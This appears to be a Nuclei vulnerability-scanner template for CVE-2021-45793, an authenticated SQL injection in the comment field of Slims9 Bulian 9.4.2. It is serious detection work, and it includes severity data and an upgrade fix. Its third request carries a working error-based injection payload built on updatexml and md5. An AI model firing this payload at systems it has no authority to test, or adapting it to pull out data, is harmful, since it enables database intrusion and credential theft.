id: CVE-2021-45793

info:
  name: Slims9 Bulian 9.4.2 - SQL Injection
  author: nblirwn
  severity: high
  description: |
    Slims9 Bulian 9.4.2 is affected by SQL injection in lib/comment.inc.php. User data can be obtained.
  impact: |
    Authenticated attackers can exploit SQL injection in the comment field to extract database contents including user credentials and sensitive library data.
  remediation: |
    Upgrade to Slims9 Bulian version 9.4.3 or later.
  reference:
    - https://github.com/slims/slims9_bulian/issues/123
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45793
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-45793
    cwe-id: CWE-89
    epss-score: 0.31477
    epss-percentile: 0.96899
    cpe: cpe:2.3:a:slims:senayan_library_management_system:9.4.2:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: slims
    product: senayan_library_management_system
  tags: cve2021,cve,slims,sqli,vuln

variables:
  num: "999999999"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /index.php?p=member&destination= HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /index.php?p=member&destination= HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        memberID={{username}}&memberPassWord={{password}}&_csrf_token_{{csrf_token}}={{csrf_token2}}&logMeIn=Login

    extractors:
      - type: regex
        name: csrf_token
        part: body
        group: 1
        regex:
          - 'name="_csrf_token_([a-f0-9]+)"'
        internal: true

      - type: regex
        name: csrf_token2
        part: body
        group: 1
        regex:
          - 'value="([a-f0-9]+)"/>'
        internal: true

  - raw:
      - |
        GET /index.php?p=show_detail&id=1 HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: csrf_token3
        part: body
        group: 1
        regex:
          - 'value="([a-f0-9]+)"/>'
        internal: true

  - raw:
      - |
        POST /index.php?p=show_detail&id=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        comment=%27and%2F**%2F1%3D%28updatexml%281%2Cconcat%280x3a%2Cmd5%28{{num}}%29%29%2C1%29%29%2F**%2Fand%2F**%2F%271%27%3D%271&SaveComment=Save+comment&_csrf_token_{{csrf_token}}={{csrf_token3}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "c8c605999f3d8352d7bb792cf3fd"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201e7a0e43cc49e6a39d93ef597bd749ae5acae4016b7e8c2cd7ef3dfe08dfb799022100f2aa3ff94ed9356c8d1cf4f0b8d6a8fd34010b5c0b396e68624b2ce46659477c:922c64590222798bb761d5b6d8e72950